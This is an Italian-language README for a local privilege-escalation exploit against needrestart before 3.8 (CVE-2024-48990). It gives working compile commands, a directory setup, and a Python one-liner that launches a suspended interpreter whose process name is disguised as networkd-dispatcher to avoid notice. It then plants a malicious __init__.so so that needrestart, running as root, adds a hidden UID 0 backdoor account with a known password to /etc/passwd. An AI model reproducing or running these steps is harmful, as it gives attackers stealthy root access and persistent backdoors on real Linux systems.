
Exploit per CVE-2024-48990 (Escalation dei privilegi locali in needrestart < 3.8)
Exploit per CVE-2024-48990 (Escalation dei privilegi locali in needrestart < 3.8)
Leggi https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys fa un ottimo lavoro spiegandolo.
TLDR;
Sui sistemi con needrestart inferiore alla 3.8, gli utenti locali possono eseguire codice arbitrario ed escalare i privilegi a root senza interazione da parte dell'utente.

L'exploit come scritto ora aggiungerà un nuovo utente chiamato "_daemon" al sistema con UID/GID 0 (root) utilizzando un comando sed per modificare il file /etc/passwd. La password è uguale al nome utente. Non sono nemmeno sicuro che si possa chiamare exploit dato che è solo una libreria condivisa che esegue un singolo comando.
Per compilare l'exploit da soli, esegui il comando seguente:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
Potresti eseguire qualsiasi script python di lunga durata. Ma per sembrare meno sospetto nell'elenco dei processi, puoi usare questo one-liner per avviare un interprete python che viene sospeso appena parte (così non esegue mai nulla).
PYTHON - Il percorso dell'interprete python
ARGV - La stringa che apparirà nell'elenco dei processi
PYPATH - Il percorso della directory che hai creato (senza includere la directory importlib)
Per ARGV assicurati che:
il percorso dell'interprete python sia il primo argomento in ARGV
il secondo argomento (lo "script") sia un file che esiste effettivamente sul sistema (needrestart lo verifica). Non deve essere un vero script python.
il secondo argomento non sia uguale a un processo già in esecuzione (needrestart userà quello "cached" già visto).
Per il resto, puoi giocare con ARGV quanto vuoi. Magari fallo sembrare un normale processo di sistema?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
Deve essere all'interno della directory importlib e chiamato "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
La prossima volta che needrestart viene eseguito (ad esempio un aggiornamento con apt o unattended-upgrades lo avvia), eseguirà python con la variabile PYTHONPATH del nostro processo e caricherà il file init.so, che eseguirà il nostro comando. Potrai accedere con le credenziali _daemon:_daemon.
needrestart non è completamente stupido e controlla alcune cose durante la scansione dei processi e prima di entrare nella parte vulnerabile del codice